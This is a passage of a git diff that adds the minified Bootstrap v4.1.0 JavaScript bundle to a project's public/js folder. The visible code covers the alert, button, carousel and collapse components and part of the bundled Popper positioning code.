J,QAAQ,CAAR,KAAcK,QAAlJ,EAA4J;EAC1J,UAAM,IAAIzf,KAAJ,CAAU,8EAAV,CAAN;EACD;EACF,CAfD,EAeGxE,CAfH;;;;;;;;;;;;;;;;;;;;;;"} \ No newline at end of file diff --git a/public/js/bootstrap.bundle.min.js b/public/js/bootstrap.bundle.min.js new file mode 100644 index 0000000..e0608e8 --- /dev/null +++ b/public/js/bootstrap.bundle.min.js @@ -0,0 +1,7 @@ +/*! + * Bootstrap v4.1.0 (https://getbootstrap.com/) + * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */ +!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery")):"function"==typeof define&&define.amd?define(["exports","jquery"],e):e(t.bootstrap={},t.jQuery)}(this,function(t,e){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function c(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filter(function(t){return Object.getOwnPropertyDescriptor(o,t).enumerable}))),e.forEach(function(t){var e,n,i;e=r,i=o[n=t],n in e?Object.defineProperty(e,n,{value:i,enumerable:!0,configurable:!0,writable:!0}):e[n]=i})}return r}for(var r,n,o,a,l,f,h,u,d,p,g,m,_,v,E,y,b,T,C,w,I,D,A,S,O,N,k,L,P,x,j,R,M,H,W,F,U,B,K,V,Q,Y,G,q,z,X,J,Z,$,tt,et,nt,it,rt,ot,st,at,lt,ct,ft,ht,ut,dt,pt,gt=function(i){var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l.TRANSITION_END,function(){n=!0}),setTimeout(function(){n||l.triggerTransitionEnd(e)},t),this}var l={TRANSITION_END:"bsTransitionEnd",getUID:function(t){for(;t+=~~(1e6*Math.random()),document.getElementById(t););return t},getSelectorFromElement:function(t){var e=t.getAttribute("data-target");e&&"#"!==e||(e=t.getAttribute("href")||"");try{return 0<i(document).find(e).length?e:null}catch(t){return null}},getTransitionDurationFromElement:function(t){if(!t)return 0;var e=i(t).css("transition-duration");return parseFloat(e)?(e=e.split(",")[0],1e3*parseFloat(e)):0},reflow:function(t){return t.offsetHeight},triggerTransitionEnd:function(t){i(t).trigger(e)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]||t).nodeType},typeCheckConfig:function(t,e,n){for(var i in n)if(Object.prototype.hasOwnProperty.call(n,i)){var r=n[i],o=e[i],s=o&&l.isElement(o)?"element":(a=o,{}.toString.call(a).match(/\s([a-z]+)/i)[1].toLowerCase());if(!new RegExp(r).test(s))throw new Error(t.toUpperCase()+': Option "'+i+'" provided type "'+s+'" but expected type "'+r+'".')}var a}};return i.fn.emulateTransitionEnd=t,i.event.special[l.TRANSITION_END]={bindType:e,delegateType:e,handle:function(t){if(i(t.target).is(this))return t.handleObj.handler.apply(this,arguments)}},l}(e=e&&e.hasOwnProperty("default")?e.default:e),mt=(n="alert",a="."+(o="bs.alert"),l=(r=e).fn[n],f={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-api"},h="alert",u="fade",d="show",p=function(){function i(t){this._element=t}var t=i.prototype;return t.close=function(t){t=t||this._element;var e=this._getRootElement(t);this._triggerCloseEvent(e).isDefaultPrevented()||this._removeElement(e)},t.dispose=function(){r.removeData(this._element,o),this._element=null},t._getRootElement=function(t){var e=gt.getSelectorFromElement(t),n=!1;return e&&(n=r(e)[0]),n||(n=r(t).closest("."+h)[0]),n},t._triggerCloseEvent=function(t){var e=r.Event(f.CLOSE);return r(t).trigger(e),e},t._removeElement=function(e){var n=this;if(r(e).removeClass(d),r(e).hasClass(u)){var t=gt.getTransitionDurationFromElement(e);r(e).one(gt.TRANSITION_END,function(t){return n._destroyElement(e,t)}).emulateTransitionEnd(t)}else this._destroyElement(e)},t._destroyElement=function(t){r(t).detach().trigger(f.CLOSED).remove()},i._jQueryInterface=function(n){return this.each(function(){var t=r(this),e=t.data(o);e||(e=new i(this),t.data(o,e)),"close"===n&&e[n](this)})},i._handleDismiss=function(e){return function(t){t&&t.preventDefault(),e.close(this)}},s(i,null,[{key:"VERSION",get:function(){return"4.1.0"}}]),i}(),r(document).on(f.CLICK_DATA_API,'[data-dismiss="alert"]',p._handleDismiss(new p)),r.fn[n]=p._jQueryInterface,r.fn[n].Constructor=p,r.fn[n].noConflict=function(){return r.fn[n]=l,p._jQueryInterface},p),_t=(m="button",v="."+(_="bs.button"),E=".data-api",y=(g=e).fn[m],b="active",T="btn",w='[data-toggle^="button"]',I='[data-toggle="buttons"]',D="input",A=".active",S=".btn",O={CLICK_DATA_API:"click"+v+E,FOCUS_BLUR_DATA_API:(C="focus")+v+E+" blur"+v+E},N=function(){function n(t){this._element=t}var t=n.prototype;return t.toggle=function(){var t=!0,e=!0,n=g(this._element).closest(I)[0];if(n){var i=g(this._element).find(D)[0];if(i){if("radio"===i.type)if(i.checked&&g(this._element).hasClass(b))t=!1;else{var r=g(n).find(A)[0];r&&g(r).removeClass(b)}if(t){if(i.hasAttribute("disabled")||n.hasAttribute("disabled")||i.classList.contains("disabled")||n.classList.contains("disabled"))return;i.checked=!g(this._element).hasClass(b),g(i).trigger("change")}i.focus(),e=!1}}e&&this._element.setAttribute("aria-pressed",!g(this._element).hasClass(b)),t&&g(this._element).toggleClass(b)},t.dispose=function(){g.removeData(this._element,_),this._element=null},n._jQueryInterface=function(e){return this.each(function(){var t=g(this).data(_);t||(t=new n(this),g(this).data(_,t)),"toggle"===e&&t[e]()})},s(n,null,[{key:"VERSION",get:function(){return"4.1.0"}}]),n}(),g(document).on(O.CLICK_DATA_API,w,function(t){t.preventDefault();var e=t.target;g(e).hasClass(T)||(e=g(e).closest(S)),N._jQueryInterface.call(g(e),"toggle")}).on(O.FOCUS_BLUR_DATA_API,w,function(t){var e=g(t.target).closest(S)[0];g(e).toggleClass(C,/^focus(in)?$/.test(t.type))}),g.fn[m]=N._jQueryInterface,g.fn[m].Constructor=N,g.fn[m].noConflict=function(){return g.fn[m]=y,N._jQueryInterface},N),vt=(L="carousel",x="."+(P="bs.carousel"),j=".data-api",R=(k=e).fn[L],M={interval:5e3,keyboard:!0,slide:!1,pause:"hover",wrap:!0},H={interval:"(number|boolean)",keyboard:"boolean",slide:"(boolean|string)",pause:"(string|boolean)",wrap:"boolean"},W="next",F="prev",U="left",B="right",K={SLIDE:"slide"+x,SLID:"slid"+x,KEYDOWN:"keydown"+x,MOUSEENTER:"mouseenter"+x,MOUSELEAVE:"mouseleave"+x,TOUCHEND:"touchend"+x,LOAD_DATA_API:"load"+x+j,CLICK_DATA_API:"click"+x+j},V="carousel",Q="active",Y="slide",G="carousel-item-right",q="carousel-item-left",z="carousel-item-next",X="carousel-item-prev",J={ACTIVE:".active",ACTIVE_ITEM:".active.carousel-item",ITEM:".carousel-item",NEXT_PREV:".carousel-item-next, .carousel-item-prev",INDICATORS:".carousel-indicators",DATA_SLIDE:"[data-slide], [data-slide-to]",DATA_RIDE:'[data-ride="carousel"]'},Z=function(){function o(t,e){this._items=null,this._interval=null,this._activeElement=null,this._isPaused=!1,this._isSliding=!1,this.touchTimeout=null,this._config=this._getConfig(e),this._element=k(t)[0],this._indicatorsElement=k(this._element).find(J.INDICATORS)[0],this._addEventListeners()}var t=o.prototype;return t.next=function(){this._isSliding||this._slide(W)},t.nextWhenVisible=function(){!document.hidden&&k(this._element).is(":visible")&&"hidden"!==k(this._element).css("visibility")&&this.next()},t.prev=function(){this._isSliding||this._slide(F)},t.pause=function(t){t||(this._isPaused=!0),k(this._element).find(J.NEXT_PREV)[0]&&(gt.triggerTransitionEnd(this._element),this.cycle(!0)),clearInterval(this._interval),this._interval=null},t.cycle=function(t){t||(this._isPaused=!1),this._interval&&(clearInterval(this._interval),this._interval=null),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},t.to=function(t){var e=this;this._activeElement=k(this._element).find(J.ACTIVE_ITEM)[0];var n=this._getItemIndex(this._activeElement);if(!(t>this._items.length-1||t<0))if(this._isSliding)k(this._element).one(K.SLID,function(){return e.to(t)});else{if(n===t)return this.pause(),void this.cycle();var i=n<t?W:F;this._slide(i,this._items[t])}},t.dispose=function(){k(this._element).off(x),k.removeData(this._element,P),this._items=null,this._config=null,this._element=null,this._interval=null,this._isPaused=null,this._isSliding=null,this._activeElement=null,this._indicatorsElement=null},t._getConfig=function(t){return t=c({},M,t),gt.typeCheckConfig(L,t,H),t},t._addEventListeners=function(){var e=this;this._config.keyboard&&k(this._element).on(K.KEYDOWN,function(t){return e._keydown(t)}),"hover"===this._config.pause&&(k(this._element).on(K.MOUSEENTER,function(t){return e.pause(t)}).on(K.MOUSELEAVE,function(t){return e.cycle(t)}),"ontouchstart"in document.documentElement&&k(this._element).on(K.TOUCHEND,function(){e.pause(),e.touchTimeout&&clearTimeout(e.touchTimeout),e.touchTimeout=setTimeout(function(t){return e.cycle(t)},500+e._config.interval)}))},t._keydown=function(t){if(!/input|textarea/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},t._getItemIndex=function(t){return this._items=k.makeArray(k(t).parent().find(J.ITEM)),this._items.indexOf(t)},t._getItemByDirection=function(t,e){var n=t===W,i=t===F,r=this._getItemIndex(e),o=this._items.length-1;if((i&&0===r||n&&r===o)&&!this._config.wrap)return e;var s=(r+(t===F?-1:1))%this._items.length;return-1===s?this._items[this._items.length-1]:this._items[s]},t._triggerSlideEvent=function(t,e){var n=this._getItemIndex(t),i=this._getItemIndex(k(this._element).find(J.ACTIVE_ITEM)[0]),r=k.Event(K.SLIDE,{relatedTarget:t,direction:e,from:i,to:n});return k(this._element).trigger(r),r},t._setActiveIndicatorElement=function(t){if(this._indicatorsElement){k(this._indicatorsElement).find(J.ACTIVE).removeClass(Q);var e=this._indicatorsElement.children[this._getItemIndex(t)];e&&k(e).addClass(Q)}},t._slide=function(t,e){var n,i,r,o=this,s=k(this._element).find(J.ACTIVE_ITEM)[0],a=this._getItemIndex(s),l=e||s&&this._getItemByDirection(t,s),c=this._getItemIndex(l),f=Boolean(this._interval);if(t===W?(n=q,i=z,r=U):(n=G,i=X,r=B),l&&k(l).hasClass(Q))this._isSliding=!1;else if(!this._triggerSlideEvent(l,r).isDefaultPrevented()&&s&&l){this._isSliding=!0,f&&this.pause(),this._setActiveIndicatorElement(l);var h=k.Event(K.SLID,{relatedTarget:l,direction:r,from:a,to:c});if(k(this._element).hasClass(Y)){k(l).addClass(i),gt.reflow(l),k(s).addClass(n),k(l).addClass(n);var u=gt.getTransitionDurationFromElement(s);k(s).one(gt.TRANSITION_END,function(){k(l).removeClass(n+" "+i).addClass(Q),k(s).removeClass(Q+" "+i+" "+n),o._isSliding=!1,setTimeout(function(){return k(o._element).trigger(h)},0)}).emulateTransitionEnd(u)}else k(s).removeClass(Q),k(l).addClass(Q),this._isSliding=!1,k(this._element).trigger(h);f&&this.cycle()}},o._jQueryInterface=function(i){return this.each(function(){var t=k(this).data(P),e=c({},M,k(this).data());"object"==typeof i&&(e=c({},e,i));var n="string"==typeof i?i:e.slide;if(t||(t=new o(this,e),k(this).data(P,t)),"number"==typeof i)t.to(i);else if("string"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.pause(),t.cycle())})},o._dataApiClickHandler=function(t){var e=gt.getSelectorFromElement(this);if(e){var n=k(e)[0];if(n&&k(n).hasClass(V)){var i=c({},k(n).data(),k(this).data()),r=this.getAttribute("data-slide-to");r&&(i.interval=!1),o._jQueryInterface.call(k(n),i),r&&k(n).data(P).to(r),t.preventDefault()}}},s(o,null,[{key:"VERSION",get:function(){return"4.1.0"}},{key:"Default",get:function(){return M}}]),o}(),k(document).on(K.CLICK_DATA_API,J.DATA_SLIDE,Z._dataApiClickHandler),k(window).on(K.LOAD_DATA_API,function(){k(J.DATA_RIDE).each(function(){var t=k(this);Z._jQueryInterface.call(t,t.data())})}),k.fn[L]=Z._jQueryInterface,k.fn[L].Constructor=Z,k.fn[L].noConflict=function(){return k.fn[L]=R,Z._jQueryInterface},Z),Et=(tt="collapse",nt="."+(et="bs.collapse"),it=($=e).fn[tt],rt={toggle:!0,parent:""},ot={toggle:"boolean",parent:"(string|element)"},st={SHOW:"show"+nt,SHOWN:"shown"+nt,HIDE:"hide"+nt,HIDDEN:"hidden"+nt,CLICK_DATA_API:"click"+nt+".data-api"},at="show",lt="collapse",ct="collapsing",ft="collapsed",ht="width",ut="height",dt={ACTIVES:".show, .collapsing",DATA_TOGGLE:'[data-toggle="collapse"]'},pt=function(){function a(t,e){this._isTransitioning=!1,this._element=t,this._config=this._getConfig(e),this._triggerArray=$.makeArray($('[data-toggle="collapse"][href="#'+t.id+'"],[data-toggle="collapse"][data-target="#'+t.id+'"]'));for(var n=$(dt.DATA_TOGGLE),i=0;i<n.length;i++){var r=n[i],o=gt.getSelectorFromElement(r);null!==o&&0<$(o).filter(t).length&&(this._selector=o,this._triggerArray.push(r))}this._parent=this._config.parent?this._getParent():null,this._config.parent||this._addAriaAndCollapsedClass(this._element,this._triggerArray),this._config.toggle&&this.toggle()}var t=a.prototype;return t.toggle=function(){$(this._element).hasClass(at)?this.hide():this.show()},t.show=function(){var t,e,n=this;if(!this._isTransitioning&&!$(this._element).hasClass(at)&&(this._parent&&0===(t=$.makeArray($(this._parent).find(dt.ACTIVES).filter('[data-parent="'+this._config.parent+'"]'))).length&&(t=null),!(t&&(e=$(t).not(this._selector).data(et))&&e._isTransitioning))){var i=$.Event(st.SHOW);if($(this._element).trigger(i),!i.isDefaultPrevented()){t&&(a._jQueryInterface.call($(t).not(this._selector),"hide"),e||$(t).data(et,null));var r=this._getDimension();$(this._element).removeClass(lt).addClass(ct),(this._element.style[r]=0)<this._triggerArray.length&&$(this._triggerArray).removeClass(ft).attr("aria-expanded",!0),this.setTransitioning(!0);var o="scroll"+(r[0].toUpperCase()+r.slice(1)),s=gt.getTransitionDurationFromElement(this._element);$(this._element).one(gt.TRANSITION_END,function(){$(n._element).removeClass(ct).addClass(lt).addClass(at),n._element.style[r]="",n.setTransitioning(!1),$(n._element).trigger(st.SHOWN)}).emulateTransitionEnd(s),this._element.style[r]=this._element[o]+"px"}}},t.hide=function(){var t=this;if(!this._isTransitioning&&$(this._element).hasClass(at)){var e=$.Event(st.HIDE);if($(this._element).trigger(e),!e.isDefaultPrevented()){var n=this._getDimension();if(this._element.style[n]=this._element.getBoundingClientRect()[n]+"px",gt.reflow(this._element),$(this._element).addClass(ct).removeClass(lt).removeClass(at),0<this._triggerArray.length)for(var i=0;i<this._triggerArray.length;i++){var r=this._triggerArray[i],o=gt.getSelectorFromElement(r);if(null!==o)$(o).hasClass(at)||$(r).addClass(ft).attr("aria-expanded",!1)}this.setTransitioning(!0);this._element.style[n]="";var s=gt.getTransitionDurationFromElement(this._element);$(this._element).one(gt.TRANSITION_END,function(){t.setTransitioning(!1),$(t._element).removeClass(ct).addClass(lt).trigger(st.HIDDEN)}).emulateTransitionEnd(s)}}},t.setTransitioning=function(t){this._isTransitioning=t},t.dispose=function(){$.removeData(this._element,et),this._config=null,this._parent=null,this._element=null,this._triggerArray=null,this._isTransitioning=null},t._getConfig=function(t){return(t=c({},rt,t)).toggle=Boolean(t.toggle),gt.typeCheckConfig(tt,t,ot),t},t._getDimension=function(){return $(this._element).hasClass(ht)?ht:ut},t._getParent=function(){var n=this,t=null;gt.isElement(this._config.parent)?(t=this._config.parent,"undefined"!=typeof this._config.parent.jquery&&(t=this._config.parent[0])):t=$(this._config.parent)[0];var e='[data-toggle="collapse"][data-parent="'+this._config.parent+'"]';return $(t).find(e).each(function(t,e){n._addAriaAndCollapsedClass(a._getTargetFromElement(e),[e])}),t},t._addAriaAndCollapsedClass=function(t,e){if(t){var n=$(t).hasClass(at);0<e.length&&$(e).toggleClass(ft,!n).attr("aria-expanded",n)}},a._getTargetFromElement=function(t){var e=gt.getSelectorFromElement(t);return e?$(e)[0]:null},a._jQueryInterface=function(i){return this.each(function(){var t=$(this),e=t.data(et),n=c({},rt,t.data(),"object"==typeof i&&i);if(!e&&n.toggle&&/show|hide/.test(i)&&(n.toggle=!1),e||(e=new a(this,n),t.data(et,e)),"string"==typeof i){if("undefined"==typeof e[i])throw new TypeError('No method named "'+i+'"');e[i]()}})},s(a,null,[{key:"VERSION",get:function(){return"4.1.0"}},{key:"Default",get:function(){return rt}}]),a}(),$(document).on(st.CLICK_DATA_API,dt.DATA_TOGGLE,function(t){"A"===t.currentTarget.tagName&&t.preventDefault();var n=$(this),e=gt.getSelectorFromElement(this);$(e).each(function(){var t=$(this),e=t.data(et)?"toggle":n.data();pt._jQueryInterface.call(t,e)})}),$.fn[tt]=pt._jQueryInterface,$.fn[tt].Constructor=pt,$.fn[tt].noConflict=function(){return $.fn[tt]=it,pt._jQueryInterface},pt),yt="undefined"!=typeof window&&"undefined"!=typeof document,bt=["Edge","Trident","Firefox"],Tt=0,Ct=0;Ct<bt.length;Ct+=1)if(yt&&0<=navigator.userAgent.indexOf(bt[Ct])){Tt=1;break}var wt=yt&&window.Promise?function(t){var e=!1;return function(){e||(e=!0,window.Promise.resolve().then(function(){e=!1,t()}))}}:function(t){var e=!1;return function(){e||(e=!0,setTimeout(function(){e=!1,t()},Tt))}};function It(t){return t&&"[object Function]"==={}.toString.call(t)}function Dt(t,e){if(1!==t.nodeType)return[];var n=getComputedStyle(t,null);return e?n[e]:n}function At(t){return"HTML"===t.nodeName?t:t.parentNode||t.host}function St(t){if(!t)return document.body;switch(t.nodeName){case"HTML":case"BODY":return t.ownerDocument.body;case"#document":return t.body}var e=Dt(t),n=e.overflow,i=e.overflowX,r=e.overflowY;return/(auto|scroll|overlay)/.test(n+r+i)?t:St(At(t))}var Ot={},Nt=function(){var t=0<arguments.length&&void 0!==arguments[0]?arguments[0]:"all";if(t=t.toString(),Ot.hasOwnProperty(t))return Ot[t];switch(t){case"11":Ot[t]=-1!==navigator.userAgent.indexOf("Trident");break;case"10":Ot[t]=-1!==navigator.appVersion.indexOf("MSIE 10");break;case"all":Ot[t]=-1!==navigator.userAgent.indexOf("Trident")||-1!==navigator.userAgent.indexOf("MSIE")}return Ot.all=Ot.all||Object.keys(Ot).some(function(t){return Ot[t]}),Ot[t]};function kt(t){if(!t)return document.documentElement;for(var e=Nt(10)?document.body:null,n=t.offsetParent;n===e&&t.nextElementSibling;)n=(t=t.nextElementSibling).offsetParent;var i=n&&n.nodeName;return i&&"BODY"!==i&&"HTML"!==i?-1!==["TD","TABLE"].indexOf(n.nodeName)&&"static"===Dt(n,"position")?kt(n):n:t?t.ownerDocument.documentElement:document.documentElement}function Lt(t){return null!==t.parentNode?Lt(t.parentNode):t}function Pt(t,e){if(!(t&&t.nodeType&&e&&e.nodeType))return document.documentElement;var n=t.compareDocumentPosition(e)&Node.DOCUMENT_POSITION_FOLLOWING,i=n?t:e,r=n?e:t,o=document.createRange();o.setStart(i,0),o.setEnd(r,0);var s,a,l=o.commonAncestorContainer;if(t!==l&&e!==l||i.contains(r))return"BODY"===(a=(s=l).nodeName)||"HTML"!==a&&kt(s.firstElementChild)!==s?kt(l):l;var c=Lt(t);return c.host?Pt(c.host,e):Pt(t,Lt(e).host)}function xt(t){var e="top"===(1<arguments.length&&void 0!==arguments[1]?arguments[1]:"top")?"scrollTop":"scrollLeft",n=t.nodeName;if("BODY"===n||"HTML"===n){var i=t.ownerDocument.documentElement;return(t.ownerDocument.scrollingElement||i)[e]}return t[e]}function jt(t,e){var n="x"===e?"Left":"Top",i="Left"===n?"Right":"Bottom";return parseFloat(t["border"+n+"Width"],10)+parseFloat(t["border"+i+"Width"],10)}function Rt(t,e,n,i){return Math.max(e["offset"+t],e["scroll"+t],n["client"+t],n["offset"+t],n["scroll"+t],Nt(10)?n["offset"+t]+i["margin"+("Height"===t?"Top":"Left")]+i["margin"+("Height"===t?"Bottom":"Right")]:0)}function Mt(){var t=document.body,e=document.documentElement,n=Nt(10)&&getComputedStyle(e);return{height:Rt("Height",t,e,n),width:Rt("Width",t,e,n)}}var Ht=function(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")},Wt=function(){function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}return function(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}}(),Ft=function(t,e,n){return e in t?Object.defineProperty(t,e,{value:n,enumerable:!0,configurable:!0,writable:!0}):t[e]=n,t},Ut=Object.assign||function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t};function Bt(t){return Ut({},t,{right:t.left+t.width,bottom:t.top+t.height})}function Kt(t){var e={};try{if(Nt(10)){e=t.getBoundingClientRect();var n=xt(t,"top"),i=xt(t,"left");e.top+=n,e.left+=i,e.bottom+=n,e.right+=i}else e=t.getBoundingClientRect()}catch(t){}var r={left:e.left,top:e.top,width:e.right-e.left,height:e.bottom-e.top},o="HTML"===t.nodeName?Mt():{},s=o.width||t.clientWidth||r.right-r.left,a=o.height||t.clientHeight||r.bottom-r.top,l=t.offsetWidth-s,c=t.offsetHeight-a;if(l||c){var f=Dt(t);l-=jt(f,"x"),c-=jt(f,"y"),r.width-=l,r.height-=c}return Bt(r)}function Vt(t,e){var n=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=Nt(10),r="HTML"===e.nodeName,o=Kt(t),s=Kt(e),a=St(t),l=Dt(e),c=parseFloat(l.borderTopWidth,10),f=parseFloat(l.borderLeftWidth,10);n&&"HTML"===e.nodeName&&(s.top=Math.max(s.top,0),s.left=Math.max(s.left,0));var h=Bt({top:o.top-s.top-c,left:o.left-s.left-f,width:o.width,height:o.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(l.marginTop,10),d=parseFloat(l.marginLeft,10);h.top-=c-u,h.bottom-=c-u,h.left-=f-d,h.right-=f-d,h.marginTop=u,h.marginLeft=d}return(i&&!n?e.contains(a):e===a&&"BODY"!==a.nodeName)&&(h=function(t,e){var n=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=xt(e,"top"),r=xt(e,"left"),o=n?-1:1;return t.top+=i*o,t.bottom+=i*o,t.left+=r*o,t.right+=r*o,t}(h,e)),h}function Qt(t){if(!t||!t.parentElement||Nt())return document.documentElement;for(var e=t.parentElement;e&&"none"===Dt(e,"transform");)e=e.parentElement;return e||document.documentElement}function Yt(t,e,n,i){var r=4<arguments.length&&void 0!==arguments[4]&&arguments[4],o={top:0,left:0},s=r?Qt(t):Pt(t,e);if("viewport"===i)o=function(t){var e=1<arguments.length&&void 0!==arguments[1]&&arguments[1],n=t.ownerDocument.documentElement,i=Vt(t,n),r=Math.max(n.clientWidth,window.innerWidth||0),o=Math.max(n.clientHeight,window.innerHeight||0),s=e?0:xt(n),a=e?0:xt(n,"left");return Bt({top:s-i.top+i.marginTop,left:a-i.left+i.marginLeft,width:r,height:o})}(s,r);else{var a=void 0;"scrollParent"===i?"BODY"===(a=St(At(e))).nodeName&&(a=t.ownerDocument.documentElement):a="window"===i?t.ownerDocument.documentElement:i;var l=Vt(a,s,r);if("HTML"!==a.nodeName||function t(e){var n=e.nodeName;return"BODY"!==n&&"HTML"!==n&&("fixed"===Dt(e,"position")||t(At(e)))}(s))o=l;else{var c=Mt(),f=c.height,h=c.width;o.top+=l.top-l.marginTop,o.bottom=f+l.top,o.left+=l.left-l.marginLeft,o.right=h+l.left}}return o.left+=n,o.top+=n,o.right-=n,o.bottom-=n,o}function Gt(t,e,i,n,r){var o=5<arguments.length&&void 0!==arguments[5]?arguments[5]:0;if(-1===t.indexOf("auto"))return t;var s=Yt(i,n,o,r),a={top:{width:s.width,height:e.top-s.top},right:{width:s.right-e.right,height:s.height},bottom:{width:s.width,height:s.bottom-e.bottom},left:{width:e.left-s.left,height:s.height}},l=Object.keys(a).map(function(t){return Ut({key:t},a[t],{area:(e=a[t],e.width*e.height)});var e}).sort(function(t,e){return e.area-t.area}),c=l.filter(function(t){var e=t.width,n=t.height;return e>=i.clientWidth&&n>=i.clientHeight}),f=0<c.length?c[0].key:l[0].key,h=t.split("-")[1];return f+(h?"-"+h:"")}function qt(t,e,n){var i=3<arguments.length&&void 0!==arguments[3]?arguments[3]:null;return Vt(n,i?Qt(e):Pt(e,n),i)}function zt(t){var e=getComputedStyle(t),n=parseFloat(e.marginTop)+parseFloat(e.marginBottom),i=parseFloat(e.marginLeft)+parseFloat(e.marginRight);return{width:t.offsetWidth+i,height:t.offsetHeight+n}}function Xt(t){var e={left:"right",right:"left",bottom:"top",top:"bottom"};return t.replace(/left|right|bottom|top/g,function(t){return e[t]})}function Jt(t,e,n){n=n.split("-")[0];var i=zt(t),r={width:i.width,height:i.height},o=-1!==["right","left"].indexOf(n),s=o?"top":"left",a=o?"left":"top",l=o?"height":"width",c=o?"width":"height";return r[s]=e[s]+e[l]/2-i[l]/2,r[a]=n===a?e[a]-i[c]:e[Xt(a)],r}function Zt(t,e){return Array.prototype.find?t.find(e):t.filter(e)[0]}function $t(t,n,e){return(void 0===e?t:t.slice(0,function(t,e,n){if(Array.prototype.findIndex)return t.findIndex(function(t){return t[e]===n});var i=Zt(t,function(t){return t[e]===n});return t.indexOf(i)}(t,"name",e))).forEach(function(t){t.function&&console.warn("`modifier.function` is deprecated, use `modifier.fn`!");var e=t.function||t.fn;t.enabled&&It(e)&&(n.offsets.popper=Bt(n.offsets.popper),n.offsets.reference=Bt(n.offsets.reference),n=e(n,t))}),n}function te(t,n){return t.some(function(t){var e=t.name;return t.enabled&&e===n})}function ee(t){for(var e=[!1,"ms","Webkit","Moz","O"],n=t.charAt(0).toUpperCase()+t.slice(1),i=0;i<e.length;i++){var r=e[i],o=r?""+r+n:t;if("undefined"!=typeof document.body.style[o])return o}return null}function ne(t){var e=t.ownerDocument;return e?e.defaultView:window}function ie(t,e,n,i){n.updateBound=i,ne(t).addEventListener("resize",n.updateBound,{passive:!0});var r=St(t);return function t(e,n,i,r){var o="BODY"===e.nodeName,s=o?e.ownerDocument.defaultView:e;s.addEventListener(n,i,{passive:!0}),o||t(St(s.parentNode),n,i,r),r.push(s)}(r,"scroll",n.updateBound,n.scrollParents),n.scrollElement=r,n.eventsEnabled=!0,n}function re(){var t,e;this.state.eventsEnabled&&(cancelAnimationFrame(this.scheduleUpdate),this.state=(t=this.reference,e=this.state,ne(t).removeEventListener("resize",e.updateBound),e.scrollParents.forEach(function(t){t.removeEventListener("scroll",e.updateBound)}),e.updateBound=null,e.scrollParents=[],e.scrollElement=null,e.eventsEnabled=!1,e))}function oe(t){return""!==t&&!isNaN(parseFloat(t))&&isFinite(t)}function se(n,i){Object.keys(i).forEach(function(t){var e="";-1!==["width","height","top","right","bottom","left"].indexOf(t)&&oe(i[t])&&(e="px"),n.style[t]=i[t]+e})}function ae(t,e,n){var i=Zt(t,function(t){return t.name===e}),r=!!i&&t.some(function(t){return t.name===n&&t.enabled&&t.order<i.order});if(!r){var o="`"+e+"`",s="`"+n+"`";console.warn(s+" modifier is required by "+o+" modifier in order to work, be sure to include it before "+o+"!")}return r}var le=["auto-start","auto","auto-end","top-start","top","top-end","right-start","right","right-end","bottom-end","bottom","bottom-start","left-end","left","left-start"],ce=le.slice(3);function fe(t){var e=1<arguments.length&&void 0!==arguments[1]&&arguments[1],n=ce.indexOf(t),i=ce.slice(n+1).concat(ce.slice(0,n));return e?i.reverse():i}var he={FLIP:"flip",CLOCKWISE:"clockwise",COUNTERCLOCKWISE:"counterclockwise"};function ue(t,r,o,e){var s=[0,0],a=-1!==["right","left"].indexOf(e),n=t.split(/(\+|\-)/).map(function(t){return t.trim()}),i=n.indexOf(Zt(n,function(t){return-1!==t.search(/,|\s/)}));n[i]&&-1===n[i].indexOf(",")&&console.warn("Offsets separated by white space(s) are deprecated, use a comma (,) instead.");var l=/\s*,\s*|\s+/,c=-1!==i?[n.slice(0,i).concat([n[i].split(l)[0]]),[n[i].split(l)[1]].concat(n.slice(i+1))]:[n];return(c=c.map(function(t,e){var n=(1===e?!a:a)?"height":"width",i=!1;return t.reduce(function(t,e){return""===t[t.length-1]&&-1!==["+","-"].indexOf(e)?(t[t.length-1]=e,i=!0,t):i?(t[t.length-1]+=e,i=!1,t):t.concat(e)},[]).map(function(t){return function(t,e,n,i){var r=t.match(/((?:\-|\+)?\d*\.?\d*)(.*)/),o=+r[1],s=r[2];if(!o)return t;if(0===s.indexOf("%")){var a=void 0;switch(s){case"%p":a=n;break;case"%":case"%r":default:a=i}return Bt(a)[e]/100*o}if("vh"===s||"vw"===s)return("vh"===s?Math.max(document.documentElement.clientHeight,window.innerHeight||0):Math.max(document.documentElement.clientWidth,window.innerWidth||0))/100*o;return o}(t,n,r,o)})})).forEach(function(n,i){n.forEach(function(t,e){oe(t)&&(s[i]+=t*("-"===n[e-1]?-1:1))})}),s}var de={placement:"bottom",positionFixed:!1,eventsEnabled:!0,removeOnDestroy:!1,onCreate:function(){},onUpdate:function(){},modifiers:{shift:{order:100,enabled:!0,fn:function(t){var e=t.placement,n=e.split("-")[0],i=e.split("-")[1];if(i){var 